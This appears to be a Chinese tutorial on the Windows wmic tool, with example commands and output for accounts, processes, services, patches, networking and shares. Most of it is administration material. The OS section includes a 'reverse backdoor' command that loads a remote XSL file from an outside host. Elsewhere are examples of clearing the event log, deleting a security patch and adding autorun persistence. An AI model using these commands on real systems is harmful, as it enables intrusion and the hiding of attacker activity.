wmic命令解析与实例
作者:快盘下载 人气:[TOC]
0x00 前言介绍
描述:WMI的全名为”Windows Management Instrumentation - Windows管理规范“, 从Windows 98开始 Windows操作系统都支持WMI, 它是由一系列工具集组成的可以在本地或者远程管理计算机系统。
WMI 特点: WMI有一组API: 我们不管使用VBScript、PowerShell脚本还是利用C#的来访问WMI的类库,都是因为WMI向外暴露的一组API,通过调用API实现使用指定的类。 WMI有一个存储库: 尽管WMI的多数实例数据都不存储在WMI中,但是WMI确实有一个存储库,用来存放提供程序提供的类信息,或者称为类的蓝图或者Schema。 WMI有一个Service: 运行有 Winmgmt 的Windows服务,如果停止这个服务所有对WMI的操作都将没有反应。 WMI是可扩展性: 基于WMI的可扩展性 WMI对资源的操作,不是它自己实现了什么方法,而完全取决于向它注册的提供程序。
Q: 为啥需要WMIC.exe管理工具? 描述: 但是在WMIC出现之前如果要管理WMI系统必须使用一些专门的WMI应用,例如SMS或者使用WMI的脚本编程API,或者使用CIM Studio之类的工具。如果不熟悉C++之类的编程语言或VBScript之类的脚本语言,或者不掌握WMI名称空间的基本知识,要用WMI管理系统是很困难的。
Q: 什么是wmic.exe 描述: wmic.exe 是 Windows Management Instrumentation Windows管理工具,提供了从命令行接口和批命令脚本执行系统管理的支持。其不能直接进行执行需要切换终端到C:WindowsSystem32wbem位置下才能进行调用;通过 WMI 实现数据的收集与管理,包括提供注册、请求传送、远程管理、安全管理、查询能力、和脚本编程能力等,其设计初衷之一是为了管理员能更加方便的对远程 windows 主机进行各种日常管理
Tips : WMI是管理员日常必备的强大工具之一是脚本伴侣。
远程管理的先决条件:
a.启动Windows Management Instrumentation服务,开放TCP135端口。b.本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”。1.语法参数
系统管理执行脚本界面:
#非交互模式(Non-Interactive mode) wmic <command> #交互模式(Interactive mode) 运行->cmd->wmic [global switches] <command>
帮助命令:
(<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>] #可以使用以下全局开关: /NAMESPACE 别名在其上操作的命名空间的路径。 /ROLE 包含别名定义的角色的路径。 /node 别名在其上操作的服务器。 /IMPLEVEL 客户端模拟级别。 /AUTHLEVEL 客户端身份验证级别。 /LOCALE 客户端应使用的语言 ID。 /PRIVILEGES 启用或禁用所有权限。 /TRACE 将调试信息输出到 stderr。 /RECORD 记录所有输入命令和输出内容。 /INTERACTIVE 设置或重置交互模式。 /FAILFAST 设置或重置 FailFast 模式。 /USER 会话期间要使用的用户。 /PASSWORD 登录会话时要使用的密码。 /OUTPUT 指定输出重定向模式。 /APPEND 指定输出重定向模式。 /AGGREGATE 设置或重置聚合模式。 /AUTHORITY 指定连接的 <授权类型>。 /?[:<BRIEF|FULL>] 用法信息。 有关特定全局开关的详细信息,请键入: switch-name /? #当前角色中可以使用以下别名: ALIAS - 对本地系统上可用别名的访问 BASEBOARD - 基板(也称为主板或系统板)管理。 BIOS - 基本输入/输出服务(BIOS)管理。 BOOTCONFIG - 启动配置管理。 CDROM - CD-ROM 管理。 COMPUTERSYSTEM - 计算机系统管理。 CPU - CPU 管理。 CSPRODUCT - SMBIOS 中的计算机系统产品信息。 DATAFILE - 数据文件管理。 DCOMAPP - DCOM 应用程序管理。 DESKTOP - 用户的桌面管理。 DESKTOPMONITOR - 桌面监视器管理。 DEVICEMEMORYADDRESS - 设备内存地址管理。 DISKDRIVE - 物理磁盘驱动器管理。 DISKQUOTA - 用于 NTFS 卷的磁盘空间使用量。 DMACHANNEL - 直接内存访问(DMA)通道管理。 ENVIRONMENT - 系统环境设置管理。 FSDIR - 文件系统目录项管理。 GROUP - 组帐户管理。 IDECONTROLLER - IDE 控制器管理。 IRQ - 中断请求线路(IRQ)管理。 JOB - 提供对使用计划服务安排的作业的访问。 LOADORDER - 定义执行依赖关系的系统服务的管理。 LOGICALDISK - 本地存储设备管理。 LOGON - 登录会话。 MEMCACHE - 缓存内存管理。 MEMORYCHIP - 内存芯片信息。 MEMPHYSICAL - 计算机系统的物理内存管理。 NETCLIENT - 网络客户端管理。 NETLOGIN - 网络登录信息(属于特定用户)管理。 NETPROTOCOL - 协议(及其网络特征)管理。 NETUSE - 活动网络连接管理。 NIC - 网络接口控制器(NIC)管理。 NICCONFIG - 网络适配器管理。 NTDOMAIN - NT 域管理。 NTEVENT - NT 事件日志中的项目。 NTEVENTLOG - NT 事件日志文件管理。 ONBOARDDEVICE - 主板(系统板)中内置的通用适配器设备的管理。 OS - 已安装操作系统的管理。 PAGEFILE - 虚拟内存文件交换管理。 PAGEFILESET - 页面文件设置管理。 PARTITION - 物理磁盘的已分区区域的管理。 PORT - I/O 端口管理。 PORTCONNECTOR - 物理连接端口管理。 PRINTER - 打印机设备管理。 PRINTERCONFIG - 打印机设备配置管理。 PRINTJOB - 打印作业管理。 PROCESS - 进程管理。 PRODUCT - 安装程序包任务管理。 QFE - 快速修复工程。 QUOTASETTING - 卷上的磁盘配额设置信息。 RDACCOUNT - 远程桌面连接权限管理。 RDNIC - 对特定网络适配器的远程桌面连接管理。 RDPERMISSIONS - 特定远程桌面连接的权限。 RDTOGGLE - 远程打开或关闭远程桌面侦听程序。 RECOVEROS - 操作系统出现故障时将从内存收集的信息。 REGISTRY - 计算机系统注册表管理。 SCSICONTROLLER - SCSI 控制器管理。 SERVER - 服务器信息管理。 SERVICE - 服务应用程序管理。 SHADOWCOPY - 卷影副本管理。 SHADOWSTORAGE - 卷影副本存储区域管理。 SHARE - 共享资源管理。 SOFTWAREELEMENT - 系统上安装的软件产品元素的管理。 SOFTWAREFEATURE - SoftwareElement 的软件产品子集的管理。 SOUNDDEV - 声音设备管理。 STARTUP - 当用户登录到计算机系统时自动运行的命令的管理。 SYSACCOUNT - 系统帐户管理。 SYSDRIVER - 基本服务的系统驱动程序管理。 SYSTEMENCLOSURE - 物理系统外壳管理。 SYSTEMSLOT - 物理连接点(包括端口、插槽和外设以及专用连接点)的管理。 TAPEDRIVE - 磁带驱动器管理。 TEMPERATURE - 温度传感器(电子温度计)数据管理。 TIMEZONE - 时区数据管理。 UPS - 不间断电源(UPS)管理。 USERACCOUNT - 用户帐户管理。 VOLTAGE - 电压传感器(电子电压表)数据管理。 VOLUME - 本地存储卷管理。 VOLUMEQUOTASETTING - 将磁盘配额设置与特定磁盘卷相关联。 VOLUMEUSERQUOTA - 每用户存储卷配额管理。 WMISET - WMI 服务操作参数管理。 #帮助说明: #有关特定别名的详细信息,请键入: alias /? #有关 CLASS/PATH/CONTEXT 的详细信息,请键入: (CLASS | PATH | CONTEXT) /? CLASS - 按 Esc 键可获取完整 WMI 架构 PATH - 按 Esc 键可获取完整 WMI 对象路径 CONTEXT - 显示所有全局开关的状态 QUIT/EXIT - 退出程序
如:我要查看process命令的帮助,键入:wmic process /?后显示如下:
#PROCESS - 进程管理。提示: BNF 的别名用法。 (<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]。 #用法: PROCESS ASSOC [<格式说明符>] PROCESS CALL <方法名称> [<实际参数列表>] PROCESS CREATE <分配列表> PROCESS DELETE PROCESS GET [<属性列表>] [<获取开关>] PROCESS LIST [<列表格式>] [<列表开关>]
Call - 函数高级用法
ChangeSecurityPermissions Compress Copy Delete GetEffectivePermission Rename TakeOwnerShip Uncompress
Out - 以文件的形式输出获取的内容
简单示例:
# -Commands CLASS #从WMIC的默认别名模式中转义,直接访问WMI模式中的类。 PATH #从WMIC的默认别名模式中转义,直接访问WMI模式中的实例。 WMIC CONTEXT #显示所有全局开关的当前值。 # NAMESPACE : rootcimv2 # ROLE : rootcli # NODE(S) : WEIYIGEEK # IMPLEVEL : IMPERSONATE # [AUTHORITY : N/A] # AUTHLEVEL : PKTPRIVACY # LOCALE : ms_804 # PRIVILEGES : ENABLE # TRACE : OFF # RECORD : N/A # INTERACTIVE : OFF # FAILFAST : OFF # OUTPUT : STDOUT # APPEND : STDOUT # USER : N/A # AGGREGATE : ON WMIC QUIT #Exit from WMIC. WMIC EXIT #Exit from WMIC. # - 特殊命令获取信息进行输出 wmic /output:路径 <command> get 字段1,字段2; WMIC /OUTPUT:c:ClassOutput.htm CLASS Win32_SoundDevice WMIC /OUTPUT:c:PathOutput.txt PATH Win32_SoundDevice GET /VALUE # - 格式化输出格式选择以及选择指定字段 # /FORMAT:VALUE|LIST|CSV|HFORM|HTABLE|MOF|RAWXML|TABLE|XML|htable-sortby # /get:字段1,字段2 #及查询命令需要显示列值的标题 PS C:WindowsSystem32wbem> wmic PATH Win32_SoundDevice GET SystemName,Status /Format:VALUE # Status=OK # SystemName=WEIYIGEEK wmic /output:d:install.txt product get name,version
0x01 系统配置
environment
描述:ENVIRONMENT系统环境设置管理;
ENVIRONMENT ASSOC [<格式说明符>] ENVIRONMENT CREATE <分配列表> ENVIRONMENT DELETE ENVIRONMENT GET [<属性列表>] [<获取开关>] ENVIRONMENT LIST [<列表格式>] [<列表开关>] ENVIRONMENT SET [<分配列表>] #属性设置操作。
基础实例:
#1.环境变量摘要信息显示->> Full显示所有、Brief显示摘要、Instance显示实例、Status显示状态 wmic environment list brief # Name UserName VariableValue # CLASSPATH <SYSTEM> .;%JAVA_HOME%libdt.jar;%JAVA_HOME%lib ools.jar; #2.获取指定环境变量的值以及所属用户 wmic ENVIRONMENT where "name='temp'" get UserName,VariableValue #获取temp环境变量 #3.更改设置的环境变量属性支持cmd中%%符号 wmic ENVIRONMENT where "name='path' and username='<system>'" set VariableValue="%path%;e: ools" #系统用户-更改path环境变量值,新增e: ools #4.#新增系统环境变量home,值为%HOMEDRIVE%%HOMEPATH% wmic ENVIRONMENT create name="home",username="<system>",VariableValue="%HOMEDRIVE%%HOMEPATH%" #5.删除home环境变量 wmic ENVIRONMENT where "name='home'" delete
WeiyiGeek.
useraccount - 用户帐户管理计算机用户列表
基础语法:
USERACCOUNT ASSOC [<格式说明符>] USERACCOUNT CALL <方法名称> [<实际参数列表>] USERACCOUNT CREATE <分配列表> USERACCOUNT DELETE USERACCOUNT GET [<属性列表>] [<获取开关>] USERACCOUNT LIST [<列表格式>] [<列表开关>] USERACCOUNT SET [<分配列表>] #设置是否禁用/名称/锁定/密码是否能更改以及密码失效的时间 Disabled boolean FullName string Lockout boolean PasswordChangeable boolean PasswordExpires boolean PasswordRequired boolean #密码需要
基础示例:
# 0.用户信息获取 wmic useraccount list brief # AccountType Caption Domain FullName Name SID # 512 WEIYIGEEKAdministrator WEIYIGEEK Administrator S-1-5-21-923396991-3399624210-3190802951-500 # 1.当前计算机用户和所有计算机匹配到的用户列表 WMIC USERACCOUNT where "name='%UserName%'" WMIC USERACCOUNT LIST /FORMAT:VALUE | findstr /n "<Name> <SID> Descrip Password" # AccountType Caption Domain FullName Name SID # 512 WEIYIGEEKAdministrator WEIYIGEEK Administrator S-1-5-21-923396991-3399624210-3190802951-500 # - 更改用户名Administrator为WeiyiGeek wmic useraccount where "name='Administrator" call Rename WeiyiGeek # 2.相关信息更改 # - 计算机用户名称更改 wmic USERACCOUNT where name="Administrator" set FullName="admin" #更改用户administrator全名为admin # - Lock user account wmic useraccount where name='username' set disabled=false # - Unlock user account wmic useraccount where name='username' set disabled=true # - Remove password requirement for logging in wmic useraccount where name='username' set PasswordRequired=false # - Restrict user from changing password - 限制用户更改密码 wmic useraccount where name='username' set passwordchangeable=false
group - 组帐户管理
基础语法
# 用法 GROUP ASSOC [<格式说明符>] GROUP CALL <方法名称> [<实际参数列表>] GROUP CREATE <分配列表> GROUP DELETE GROUP GET [<属性列表>] [<获取开关>] GROUP LIST [<列表格式>] [<列表开关>] # 提示: BNF 的别名用法。 (<别名> [WMI 对象] | <别名> [<路径 where>] | [<别名>] <路径 where>) [<谓词子句>]。
简单示例:
# - 获取组SID wmic group get Caption,InstallDate,LocalAccount,Domain,SID,Status # aption Domain InstallDate LocalAccount SID Status # WEIYIGEEKAccess Control Assistance Operators WEIYIGEEK TRUE S-1-5-32-579 OK # WEIYIGEEKAdministrators WEIYIGEEK TRUE S-1-5-32-544 OK
cpu
基础示例:
# //查看CPU及其内存状况内存速率 wmic cpu get SystemName,Caption,name,CurrentClockSpeed # Caption CurrentClockSpeed Name SystemName # Intel64 Family 6 Model 60 Stepping 3 3301 Intel(R) Core(TM) i5-4590 CPU @ 3.30GHz WEIYIGEEK #//查看系统实际核心数(启用)以及线程数 > wmic cpu get NumberOfCores,NumberOfEnabledCore,NumberOfLogicalProcessors NumberOfCores NumberOfEnabledCore NumberOfLogicalProcessors 8 8 8
os - 系统信息
基础语法:
OS CALL <方法名称> [<实际参数列表>] OS CREATE <分配列表> OS DELETE OS GET [<属性列表>] [<获取开关>] OS LIST [<列表格式>] [<列表开关>] OS SET [<分配列表>] > wmic os get /? #可能会被恶意了利用metasploit生成xsl马儿 /FORMAT:<格式说明符> - 处理 XML 结果的关键字/XSL 文件名。
简单示例:
# 0.获取操作系统详情 wmic os get /all /format:list # 1.计算机简要信息 wmic os list brief # BuildNumber Organization RegisteredUser SerialNumber SystemDirectory Version # 18362 WeiyiGeek 00331-10000-00001-AA685 C:Windowssystem32 10.0.18362 # - 获取指定键的值 Wmic os get ServicePackMajorVersion # XP或者Win7 可用查看SP版本 Wmic os get ProductType,OperatingSystemSKU # OperatingSystemSKU ProductType # 48 1 # 2.实现反弹后门 wmic os get /FORMAT:"http://lyshark.com/shell.xsl" & timeout /T 1 /NOBREAK & wmic os get /FORMAT:"http://lyshark.com/shell.xsl" # 3.设置覆盖安装实际 wmic os where(primary=1) call setdatetime 20070731144642.555555+480
WeiyiGeek.
bios
基础示例:
#查看bios版本型号 wmic bios get BIOSVersion,Manufacturer,Name # BIOSVersion Manufacturer Name # {"DELL - 1072009", "A11", "American Megatrends - 4028D"} Dell Inc. A11
csproduct
基础示例:
#//计算机系统产品信息(笔记本型号) WMIC CSPRODUCT LIST FULL # Description=计算机系统产品 # IdentifyingNumber=8QVY # Name=OptiPlex # SKUNumber= # UUID=4C4C4544-5551-5610-8059-B8C04F383632 # Vendor=Dell Inc. # Version=00
computersystem
基础示例:
#1.系统信息 WMIC COMPUTERSYSTEM list /format:list | findstr /n "<Domain> Roles UserName Manufacturer Model " # 16:Domain=WORKGROUP # 25:Manufacturer=Dell Inc. # 26:Model=OptiPlex 9020 # 44:Roles={"LM_Workstation","LM_Server","Print","NT"} # 53:UserName=WEIYIGEEKWeiyiGeek #2.退出所在域 wmic computersystem Where "name='计算机名称'" call joindomainorworkgroup "",1,"域名称","域管理员密码","域管理员用户名" #3.更改现有工作组为指定的工作组 wmic computersystem Where "name='计算机名称'" call UnjoinDomainOrWorkgroup #4.更改计算机名称 wmic computersystem where "caption='%ComputerName%'" call rename newcomputername # - 补充信息: 获取系统角色、用户名和制造商 wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:list # Domain=WORKGROUP # Manufacturer=Dell Inc. # Model=OptiPlex 9020 # Name=WEIYIGEEK # Roles={"LM_Workstation","LM_Server","Print","NT"} # UserName=WEIYIGEEKWeiyiGeek
baseboard
基础示例:
# //主板信息 WMIC BASEBOARD LIST /FORMAT:list | findstr "<Description> Product Manufacturer" Description=基板 Manufacturer=Dell Inc. Product=03CPWF
memlogical
描述:Windows10中不能执行该命令; 基础示例:
#获取内存数: wmic memlogical get totalphysicalmemory
sounddev
基础示例:
#声音设备管理信息 ProductName Status StatusInfo Realtek High Definition Audio OK 3 AMD High Definition Audio Device OK 3
diskdrive
基础示例:
#获取物理磁盘型号大小等 500105249280 (gb|mb|kb|b) wmic DISKDRIVE get Caption,size,InterfaceType # Caption InterfaceType Size # ST1000DM010-2EP102 SCSI 1000202273280 # WD Elements 1078 USB Device USB 1000169372160
logicaldisk
基础示例:
#本地储存设备管理 - 获取硬盘系统格式、总大小、可用空间等 (能看见全部磁盘) wmic LOGICALDISK get name,Description,filesystem,size,freespace # Description FileSystem FreeSpace Name Size # 本地固定磁盘 NTFS 94062698496 C: 161062318080 # 本地固定磁盘 NTFS 260568281088 D: 280247660544 # 本地固定磁盘 NTFS 244968955904 E: 279173918720 # 本地固定磁盘 NTFS 184098725888 F: 279480832000 # 光盘 G: # 光盘 I: # 本地固定磁盘 NTFS 275694428160 L: 536870907904 # 本地固定磁盘 NTFS 282572599296 M: 463298621440
desktopmonitor
# //显示系统屏幕大小 -- 注意条件 wmic DESKTOPMONITOR where Status='ok' get ScreenHeight,ScreenWidth # ScreenHeight ScreenWidth # 1080 1920
ONBOARDDEVICE - 主板(系统板)中内置的通用适配器设备的管理
基础语法:
# 用法: ONBOARDDEVICE ASSOC [<格式说明符>] ONBOARDDEVICE CREATE <分配列表> ONBOARDDEVICE DELETE ONBOARDDEVICE GET [<属性列表>] [<获取开关>] ONBOARDDEVICE LIST [<列表格式>] [<列表开关>]
简单示例:
# - 判断目标系统是否为虚拟机 wmic onboarddevice get Desciption,DeviceType,Enabled,Status /format:list
NTEVENTLOG - NT 事件日志文件管理
基础语法:
NTEVENTLOG ASSOC [<格式说明符>] NTEVENTLOG CALL <方法名称> [<实际参数列表>] NTEVENTLOG CREATE <分配列表> NTEVENTLOG DELETE NTEVENTLOG GET [<属性列表>] [<获取开关>] NTEVENTLOG LIST [<列表格式>] [<列表开关>] NTEVENTLOG SET [<分配列表>]
基础操作:
# - (1) 查看系统各类日志记录条数及其分类 wmic nteventlog list brief # FileSize LogfileName Name NumberOfRecords # 9506816 Application C:WINDOWSSystem32WinevtLogsApplication.evtx 13542 # 69632 HardwareEvents C:WINDOWSSystem32WinevtLogsHardwareEvents.evtx 0 # 69632 Internet Explorer C:WINDOWSSystem32WinevtLogsInternet Explorer.evtx 0 # 69632 Key Management Service C:WINDOWSSystem32WinevtLogsKey Management Service.evtx 0 # 69632 OAlerts C:WINDOWSSystem32WinevtLogsOAlerts.evtx 66 # 69632 Parameters C:WINDOWSSystem32WinevtLogsParameters.evtx 0 # 69632 State C:WINDOWSSystem32WinevtLogsState.evtx 0 # 19992576 System C:WINDOWSSystem32WinevtLogsSystem.evtx 49428 # 15732736 Windows PowerShell C:WINDOWSSystem32WinevtLogsWindows PowerShell.evtx 9880 # - (2) 清理系统日志 wmic nteventlog where logfileName='system' call cleareventlog # 执行 (WEIYIGEEKROOTCIMV2:Win32_NTEventlogFile.Name="C:WINDOWSSystem32WinevtLogsSystem.evtx")->cleareventlog() 方法执行成功
0x02 系统服务进程
process - 进程查看和修改
基础语法:
PROCESS ASSOC [<format specifier>] #关联进程 PROCESS CALL <method name> [<actual param list>] #调用函数 * terminate #关闭进程 * create #创建进程 * AttachDebugger #调试进程 * GetOwner #获取执行者 * GetOwnerSid #获取执行则者SID * SetPriority #设置进程优先级 PROCESS CREATE <assign list> #创建进程 PROCESS DELETE #删除进行 PROCESS GET [<property list>] [<get switches>] #获取进程信息 PROCESS LIST [<list format>] [<list switches>] #列举进程
基础实例:
# 1.显示进程的详细信息 PS C:WindowsSystem32wbem> wmic process list brief PS C:WindowsSystem32wbem> wmic process list full # HandleCount Name Priority ProcessId ThreadCount WorkingSetSize # 0 System Idle Process 0 0 4 8192 # 7653 System 8 4 188 32768 # 2.获取指定进程信息(非常实用) # - 查看独立PID进程名以及及=可执行路径常常和/FORMAT:VALUE联用 wmic process get name,commandline,processid,executablepath /FORMAT:List # CommandLine="C:Program FilesWindowsAppsMicrosoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbweWindowsTerminal.exe" # ExecutablePath=C:Program FilesWindowsAppsMicrosoft.WindowsTerminal_0.6.2951.0_x64__8wekyb3d8bbweWindowsTerminal.exe # Name=WindowsTerminal.exe # ProcessId=11112 # - 直接获取其值不显示其头部 wmic process get caption,commandline /value # Caption=bash.exe # CommandLine="D:Program FilesGitusrinash.exe" #3.调用call进行创建进程、终止进程、删除进程、开启与关闭服务 wmic process call create calc wmic process call create shutdown.exe #关闭本地计算机 wmic process call create "C:WindowsSystem32 otepad.exe" #新建Notepad++进程 或者 该路径有空格的情况下 "C:Program FilesTencentQQQQ.exe" wmic process where name="explorer.exe" call terminate wmic process where name="notepad.exe" delete # 删除实例 WEIYIGEEKROOTCIMV2:Win32_Process.Handle="31788" 实例删除成功。 wmic service where "name='SERVERNAME'" call startservice # 开启服务 wmic service where "name='SERVERNAME'" call stopservice # 关闭服务 #4.过滤进程显示信息 wmic process where "name='svchost.exe'" get ExecutablePath wmic process where "name='wechat.exe'" list full # 显示QQ进程的全部信息 # CommandLine="D:Program Files (x86)TencentWeChatWeChat.exe" # CSName=WEIYIGEEK # Description=WeChat.exe # ExecutablePath=D:Program Files (x86)TencentWeChatWeChat.exe # ExecutionState= # Handle=10452 # HandleCount=1188 # InstallDate= # KernelModeTime=98750000 # MaximumWorkingSetSize=126004 # MinimumWorkingSetSize=124824 # Name=WeChat.exe # OSName=Microsoft Windows 10 专业版|C:Windows|DeviceHarddisk0Partition3 wmic service where "state='running'" list brief # 查看运行中的服务 #5.关闭指定进程,执行下面的命令将关闭正在运行的QQ.exe: wmic process where "name='wechat.exe'" call terminate #结束svchost.exe进程,路径为非C:WINDOWSsystem32svchost.exe的 wmic process where "name='svchost.exe' and ExecutablePath<>'C:WINDOWSsystem32svchost.exe'" call Terminate wmic process 2345 call terminate #删除指定进程 #6.获取指定进程信息 PS C:WindowsSystem32wbem> wmic process where "name='TIM.exe'" call GetOwner # 执行(WEIYIGEEKROOTCIMV2:Win32_Process.Handle="3720")->GetOwner() # 方法执行成功外参数: # instance of __PARAMETERS # { # Domain = "WEIYIGEEK"; # ReturnValue = 0; # User = "WeiyiGeek"; # }; PS C:WindowsSystem32wbem> wmic process where "name='TIM.exe'" call GetOwnerSid # 执行(WEIYIGEEKROOTCIMV2:Win32_Process.Handle="3720")->GetOwnerSid() # 方法执行成功外参数: # instance of __PARAMETERS # { # ReturnValue = 0; # Sid = "S-1-5-21-923396991-3399624210-3190802951-1001"; # }; #7.精确查找与模糊查找 wmic process where caption="notepad.exe" get caption,commandline /value wmic process where="caption like 'notepad%'" get caption,commandline /value #8.删除满足多个条件的进程(可以利用Key值进行匹配) wmic process where name="'QQ.exe' and pid='123'" delete #9.针对注册表的操作设置自启动 wmic process call create "reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v "AutoRun" /t REG_SZ /d "C:windowsautorun.exe" /f" #10.获取非%windows%目录下可执行文件列表 wmic process where "NOT ExecutablePath LIKE '%Windows%'" GET ExecutablePath # ExecutablePath # C:Program Files (x86)GooglechromeApplicationchrome.exe # C:Program Files (x86)GoogleChromeApplicationchrome.exe
WeiyiGeek.
@echo off ::以KB为单位显示进程占用内存 for /f "skip=1 tokens=1-2 delims= " %%a in ('wmic process where caption^="conime.exe" get WorkingSetSize^,PeakWorkingSetSize') do ( set /a m=%%a/1024 set /a mm=%%b/1024 echo 进程conime.exe现在占用内存:%m%K;最高占用内存:%mm%K ) pause
service
描述:进行计算机服务程序管理效果比net start/stop 服务名称强大; 基础语法
SERVICE ASSOC [<format specifier>] SERVICE CALL <method name> [<actual param list>] * Change BOOLEAN/STRING/ARRAY OF STRING/UINT8 #更改 crete 函数方法 创建的Key/VALUE * ChangeStartMode [IN ]StartMode(STRING) (null) #更改启动模式 * Create [IN ]DesktopInteract(BOOLEAN) (null) * [IN ]DisplayName(STRING) * [IN ]StartName(STRING) * [IN ]StartPassword(STRING) * [IN ]ErrorControl(UINT8) * [IN ]LoadOrderGroup(STRING) * [IN ]LoadOrderGroupDependencies(ARRAY OF STRING) * [IN ]Name(STRING) * [IN ]PathName(STRING) * [IN ]ServiceDependencies(ARRAY OF STRING) * [IN ]ServiceType(UINT8) * [IN ]StartMode(STRING) * Delete (null) * InterrogateService (null) #中和服务 * PauseService (null) #暂停服务 * ResumeService (null) #服务摘要 * StartService (null) * StopService (null) * UserControlService [IN ]ControlCode(UINT8) (null) #用户控制服务 SERVICE CREATE <assign list> SERVICE DELETE SERVICE GET [<property list>] [<get switches>] SERVICE LIST [<list format>] [<list switches>]
基础实例:
#1.案例:停止、暂停和运行服务功能 wmic SERVICE where name="Spooler" call startservice #运行spooler服务 wmic SERVICE where name="Spooler" call stopservice #运行spooler服务 wmic SERVICE where name="Spooler" call PauseService #暂停spooler服务 wmic SERVICE where name="Spooler" call delete #删除服务 #2.更改spooler服务启动类型[auto|Disabled|Manual] 释[自动|禁用|手动] wmic SERVICE where name="Spooler" set StartMode="auto" #3.caption 指定服务名进行过滤 Service where caption="windows time" call stopservice #停止服务 Service where caption="windows time" call startservice #启动服务 #停止服务,注意name和caption的区别(CMD中运行不能再Powershell中运行) echo %ERRORLEVEL% #运行命令是否成功 #4.服务信息摘要以及状态信息指定来过滤 wmic service list brief # ExitCode Name ProcessId StartMode State Status # 1077 AJRouter 0 Manual Stopped OK # 0 Spooler 3480 Auto Running OK wmic service where "State='Running'" list brief #5.创建一个服务(未找到) wmic service create /?:full #获取帮助详细 wmic service call create /?:full
如:telnet服务的显示名称是 telnet 服务名称是tlntsvr, 还有Windows Time服务的名称是w32time 显示名称是"Windows Time"要用引号引起来 主要是有一个空格。
WeiyiGeek.
job
描述:设置计算机的计划任务以及获取计划任务; 基础语法:
基础示例:
#0.查看创建的计划任务 wmic job list brief #1.创建计划任务 wmic job call create "notepad.exe",0,0,true,false,********154800.000000+480 wmic job call create "explorer.exe",0,0,1,0,********154600.000000+480
0x03 系统软件与补丁
qfe - 查看系统补丁安装情况
基础语法:
QFE ASSOC [<format specifier>] QFE CREATE <assign list> QFE DELETE QFE GET [<property list>] [<get switches>] QFE LIST [<list format>] [<list switches>]
实践案例:
# 1.查找目标机器是否安装了补丁信息 wmic qfe get Caption,Description,HotFixID,InstalledOn | more # Caption Description HotFixID InstalledOn # http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849697 10/26/2016 # http://go.microsoft.com/fwlink/?LinkId=133041 Update KB2849696 10/26/2016 # 2.删除已经安装的补丁 wmic qfe where "HotFixID='KB4497727'" delete # Caption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Status # http://support.microsoft.com/?kbid=4497727 WEIYIGEEK Security Update KB4497727 4/1/2019
WeiyiGeek.补丁安装情况
product - 软件安装信息查看
基础语法: 安装包在C:WINDOWSInstaller目录下
PRODUCT ASSOC [<format specifier>] PRODUCT CALL <method name> [<actual param list>] PRODUCT CREATE <assign list> PRODUCT DELETE PRODUCT GET [<property list>] [<get switches>] PRODUCT LIST [<list format>] [<list switches>]
简单示例:
#1.系统已经安装的软件及其版本号 wmic product get name,version #2.表示将清单存储为 install.txt 并放在E 盘下 (比较特殊) wmic /output:E:install.txt product get name,version #3.修复和卸载安装 wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Uninstall #卸载.msi安装包 wmic PRODUCT where "name='Microsoft .NET Framework 1.1' and Version='1.1.4322'" call Reinstall #修复.msi安装包 wmic Product where "name='电子摄像指纹采集'" call Uninstall #静默卸载 # 执行(WEIYIGEEKROOTCIMV2:Win32_Product.IdentifyingNumber="{11314157-F5F7-41E7-A507-B700D2AC7F24}",Name="电子摄像指纹 # 采集",Version="1.00.0000")->Uninstall() # 方法执行成功。 # 外参数: # instance of __PARAMETERS # { # ReturnValue = 1603; # }; #4.安装软件信息简要查看 wmic product List brief # Caption IdentifyingNumber Name Vendor Version # Office 16 Click-to-Run Extensibility Component {90160000-008C-0000-1000-0000000FF1CE} Office 16 Click-to-Run Extensibility Component Microsoft Corporation 16.0.12130.20272 # Office 16 Click-to-Run Localization Component {90160000-008C-0804-1000-0000000FF1CE} Office 16 Click-to-Run Localization Component Microsoft Corporation 16.0.12130.20272
WeiyiGeek.
0x04 网络设置
nicconfig
实例:利用 nicconfig 进行动态或者静态设置ip地址
NICCONFIG ASSOC [<格式说明符>] NICCONFIG CALL <方法名称> [<实际参数列表>] NICCONFIG CREATE <分配列表> NICCONFIG DELETE NICCONFIG GET [<属性列表>] [<获取开关>] NICCONFIG LIST [<列表格式>] [<列表开关>]
基础实例:
#1.网卡信息描述以及索引 wmic nicconfig get SettingID,Description,index # Description Index SettingID # Microsoft Kernel Debug Network Adapter 0 {7D257BDB-8307-4D9A-BD9B-58EE823EB375} # Intel(R) Ethernet Connection I217-LM 1 {8EE7E18D-B6A7-4210-B0AF-55F446794580} #2.设置自动获取或者静态IP地址设置根据条件设置 wmic nicconfig where index=13 call enabledhcp #动态获取IP地址 wmic nicconfig where index=0 call enablestatic("192.168.1.5"), ("255.255.255.0") #0说明是配置网络接口1。 wmic nicconfig where index=13 call setgateways("192.168.1.1"),(1) #配置网关(默认路由 #3.指定字段获取(get 与 list 不能同时存在) wmic nicconfig get Description,IPAddress,DefaultIPGateway # DefaultIPGateway Description IPAddress # Microsoft Kernel Debug Network Adapter # {"192.20.172.1"} Intel(R) Ethernet Connection I217-LM {"192.20.172.109", "fe80::d97d:fe6c:10bf:4244"} # vmware Virtual Ethernet Adapter for VMnet1 {"192.168.64.1", "fe80::34d5:4b52:1627:64dc"} # VMware Virtual Ethernet Adapter for VMnet8 {"192.168.1.1", "fe80::50fc:1560:33a5:b73f"}
WeiyiGeek.
0x05 文件磁盘操作
share
描述:共享资源管理
#创建参数 Create [IN ]Access(OBJECT) (null) [IN ]Description(STRING) [IN ]MaximumAllowed(UINT32) [IN ]Name(STRING) [IN ]Password(STRING) [IN ]Path(STRING) [IN ]Type(UINT32) ``` 基础示例: ```bash #1.共享查看 net share #查看自己的共享 WMIC SHARE| findstr /n "OK" #查看自己的共享 #2.共享的添加 net share test=d: est WMIC SHARE CALL Create "","test","3","TestShareName","","c: est",0 #添加共享 #3.net share F$ /delete 也能删除共享 wmic SHARE where name="Brother DCP-L5500D series" call delete #删除共享
WeiyiGeek.
datafile
描述:磁盘 DataFile 管理与操作 基础语法:
